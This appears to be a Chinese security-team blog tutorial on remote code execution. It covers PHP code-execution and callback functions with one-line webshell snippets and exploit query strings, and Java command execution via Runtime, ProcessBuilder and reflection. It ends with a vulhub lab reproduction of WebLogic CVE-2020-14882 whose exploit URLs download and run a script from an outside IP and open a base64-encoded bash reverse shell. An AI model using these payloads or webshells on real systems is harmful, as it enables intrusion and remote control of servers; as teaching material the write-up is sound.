RCE漏洞(二)

由 晨星运营组 发布

PHP代码执行

1.代码执行漏洞

PHP脚本语言虽简洁方便,但存在速度慢、无法接触系统底层等问题,在web程序中,程序员为追求代码灵活性与简洁性,会适当调用代码执行函数,若未充分考虑用户是否会使用与控制,就可能导致web应用存在代码执行漏洞。

2.常见的代码执行函数

(1)直接执行

eval(phpcode)

  • 函数作用:
    将传入的字符串当作php代码脚本进行执行
<?php
  $data=$_POST['cmd'];
  eval("$data");
?>

内部可执行多条语句,使用;进行间隔即可。但是即使只执行一句话,也要加上;,否则会报错

assert断言函数(phpcode)

  • 函数作用:
    将传入的字符串当作php代码脚本进行执行
<?php
$data=$_POST['cmd'];
assert("$data");
?>

区别:assert只能执行单个函数,不能执行一个操作,例如echo xxx。另外assert也不支持执行多条语句。

assert可以通过eval的特性执行多条语句。

$code = "eval(\"system('dir');system('whoami');\");";
@assert($code);

preg_replace()+/e模式

  • 函数作用:

    匹配指定内容并将其进行替换

    /e可执行模式,为PHP专有参数。(php7.0以后不再支持/e修饰)

<?php
# 如果第一个正则表达式能够匹配上第三个参数, 就会把第二个参数当作代码执行
  @preg_replace("/test/e",$_POST[cmd],"test");
?>

create_function()匿名函数

  • 函数作用:

    为变量或对象创建一个匿名函数

create_function ( string $args , string $code )

<?php
$func=create_function('$a','system($a);');
$func("dir");
?>

(2)回调执行

!!!回调执行只能和上面的函数搭配使用

call_user_func()

  • 函数作用:

    第一个参数作为回调函数调用, 其余参数是回调函数的参数

call_user_func ( callable $callback [, mixed $parameter [, mixed $… ]] )

  • 直接利用
<?php
call_user_func("system","dir");
#等同于执行 system(dir);
#如果有固定的两个参数位置,但是要执行无参函数,可以让第二个参数为-1
call_user_func("phpinfo",-1);
#如果这个函数的两个参数可控, 会造成代码执行
call_user_func($_GET['a1'],$_GET['a2']);
#index.php?a1=assert&a2=phpinfo() #执行执行代码
?>

注意: eval()在PHP中不被视为一个普通的函数,而是一个语言构造器。由于其特殊性,它不像普通的函数可以作为回调传递给call_user_func(), 所以所有的回调形式都无法调用eval

call_user_func_array()

  • 函数作用:

    把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入

call_user_func_array ( callable $callback , array $param_arr )

  • 直接利用

#echo substr("hello",0,2);
echo call_user_func_array("substr",Array("hello",0,2));
HTTP中使用注意需要传入数组

<?php
call_user_func_array($_GET['a1'],$_GET['a2']);
?>

如果在PHP的请求参数中使用参数名[]=值进行传参,会传入一个数组。可以通过index.php?a1=system&a2[]=whoami执行命令。

array_map()回调函数

  • 函数作用:

    回调函数,可以使用别的函数

    和call_user_func_array基本一样

array_map ( callable $callback , array $array1 [, array $… ] )

<?php
  $a=array("a"=>"");
  $a['a']=$_GET['cmd'];
  print_r($a);
  echo "<br/>";
  array_map($_GET['func'],$a);
  highlight_file("array_map.php");
?>
  • 进阶使用(一句话)

<?php $o = array_map($_REQUEST[1],array($_REQUEST[2])); ?>
index.php?1=assert&2=phpinfo(); #代码执行
array_filter()

  • 函数作用:

    把输入数组中的每个键值传给回调函数。如果回调函数返回true,则把输入数组中的当前键值返回给结果数组。数组键名保持不变

    和array_map的区别是第一个和第二个参数对调了

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

  • 直接利用

<?php array_filter(array($_REQUEST[1]),$_REQUEST[2]); ?>
index.php?1=whoami&2=system #命令执行

array_walk()

  • 函数作用:

    使用用户自定义函数对数组中的每个元素做回调处理。

    和array_filter差不多

array_walk ( array &$array , callable $callback [, mixed $userdata = NULL ] )

  • 直接利用

<?php array_walk($_GET['a'],$_GET['b']); ?>
index.php?a[]=phpinfo()&b=assert #代码执行

ob_start()

  • 函数作用:

    打开输出控制缓冲将执行的函数使用回调方式调用,后续echo传入参数并执行。

    ob_end_flush()后取得输出结果并返回。

ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] )

  • 直接利用

<?php $cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush(); ?>
?a=whoami

动态函数调用

<?php $_GET[1]($_GET[2]);?>
index.php?1=assert&2=phpinfo(); #代码执行

3.代码执行漏洞实例

Thinkphp5.0.22/5.1.29远程代码执行漏洞

Discuz X3.2 远程代码执行漏洞

POC**

https://baijiahao.baidu.com/s?id=1639184109788778357&wfr=spider&for=pc

JAVA命令执行

java的命令执行实际上是打开一个进程而不是执行命令

1.Runtime类

//单例模式实例化 使用Runtime.getRuntime() 访问静态方法进行实例化
Runtime runtime = Runtime.getRuntime();
//命令执行 调用runtime对象的exec方法 , 传入需要执行的命令, 执行后返回process对象
Process process = runtime.exec("whoami");
//获取执行结果的输入流
InputStream inputStream = process.getInputStream();
//循环装箱读取
int a = -1;
byte[] bytes = new byte[100];
while((a = inputStream.read(bytes)) != -1){
//输出执行结果
    System.out.println(new String(bytes));
};

2.processbuilder类

processbuilder 为 Runtime.exec的底层实现
//实例化为processbuilder对象 向构造方法传入执行的命令
ProcessBuilder processBuilder = new ProcessBuilder("whoami");
//执行命令, 返回process对象
Process pb = processBuilder.start();
//获取执行命令程序的输入流
InputStream inputStream = pb.getInputStream();
//循环装箱读取
int a = -1;
byte[] bytes = new byte[100];
while((a = inputStream.read(bytes)) != -1){
//输出执行结果
     System.out.println(new String(bytes));
};

3.Processmpl类

ProcessImpl是更为底层的实现,Runtime和ProcessBuilder执行命令实际上也是调用了ProcessImpl这个类。

类是一个抽象类不能直接调用,但可以通过反射来间接调用ProcessImpl来达到执行命令的目的。

public static String vul(String cmd) throws Exception {
    // 首先,使用 Class.forName 方法来获取 ProcessImpl 类的类对象
    Class clazz = Class.forName("java.lang.ProcessImpl");

    // 然后,使用 clazz.getDeclaredMethod 方法来获取 ProcessImpl 类的 start 方法
    Method method = clazz.getDeclaredMethod("start", String[].class, Map.class,String.class, ProcessBuilder.Redirect[].class, boolean.class);

    // 使用 method.setAccessible 方法将 start 方法设为可访问
method.setAccessible(true);

    // 最后,使用 method.invoke 方法来调用 start 方法,并传入参数 cmd,执行命令
    Process process = (Process) method.invoke(null, new String[]{cmd}, null, null,null, false);
}

命令执行的问题

1.编码问题

转为GBK编码读取

使用缓冲流读取结果

Process process = Runtime.getRuntime().exec("ipconfig");
BufferedReader bufferedReader = new BufferedReader(new
InputStreamReader(process.getInputStream(),"gbk")); //windows转换GBK编码避免乱码
for (String s = null; (s = bufferedReader.readLine())!= null; ) {
    System.out.println(s);
}

2.执行环境

部分命令需要加上壳程序

  • 部分命令在前面加上可执行程序的类型cmd /c或bash -c

    比如dir,cd等基础系统命令

  • 如果想执行多个命令,也必须加上壳程序

//判断系统类型
String os = System.getProperty("os.name").toLowerCase();
String shell = "";
if (os.contains("win")) {
    shell = "cmd /c ";
} else if (os.contains("nix") || os.contains("nux") || os.contains("mac")) {
    shell = "bash -c ";
}
//带入执行
Process process = Runtime.getRuntime().exec(shell+"whoami&&ipconfig");
BufferedReader bufferedReader = new BufferedReader(new
InputStreamReader(process.getInputStream(),"gbk")); //windows转换GBK编码避免乱码
for (String s = null; (s = bufferedReader.readLine())!= null; ) {
    System.out.println(s);
}

3.Exec方法的重载

(1)执行命令方法的重载

exec方法支持这几种重载

a.直接传命令执行的字符串内容

Runtime.getRuntime().exec("whoami");

但是实际上最终都是这样

所以主要是第二个方法

b.传入命令执行的字符串数组, 按照空格进行分割

runtime.exec(new String[]{"cmd","/c","net","user", "&&" ,"whoami"});

(2)linux反弹shell

不能直接bash -i 的原因

https://blog.spoock.com/2018/11/25/getshell-bypass-exec/

转换方法

https://tools.whhlwa.cn/tools/runtime-exec-payloads/

(3)不同漏洞利用写shell的区别

命令执行

php: 命令执行的目录在当前php文件所属的目录,但是不是所有情况都这样,如果PHP使用路由,那么执行位置有可能不同。

java: 命令执行的目录都在中间件的主目录 。

比如tomcat在tomcat/bin

weblogic在user_projects/domains/base_domain

网站根目录需要单独判断。
代码执行

php或java: 通过代码判断路径,然后将指定webshell写入指定目录。

SQL注入

mysql: 需要知道网站根目录。

文件上传

需要知道上传后的文件目录。

4.CVE-2020-14882漏洞复现

启动环境
cd /root/vulhub-master/weblogic/CVE-2020-14882
docker-compose up -d

证明漏洞存在

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl+139.224.188.165:8080/aa');")

反弹shell

方法1: 远程下载sh文件,然后执行

#先到目标服务器上下载sh文件
http://xxx/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new%20String[]{"curl","-O","139.224.188.165:8080/shell.txt"});")

#直接写成curl+-O+139.224.188.165:8080/shell.txt 也可以

#然后执行
http://xxx/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new%20String[]{"bash","shell.txt"});")

#bash+shell.txt

方法2: 直接执行bash -i

先进行转换

修改payload注意URL编码需要编码2次

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec(new%20String[]{"bash","-c","
{echo,YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xMzkuMjI0LjE4OC4xNjUvMTIzNDUgMD4mMQ%253d%253d}|{base64,-d}|{bash,-i}"});")

或直接用字符串类型的payload

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec("bash+-c+
{echo,YmFzaCAtaSA%252bJiAvZGV2L3RjcC8xMzkuMjI0LjE4OC4xNjUvMTIzNDUgMD4mMQ%253d%253d}|{base64,-d}|{bash,-i}");")

作者:晨星安全团队——谁来剪月光


0条评论

发表评论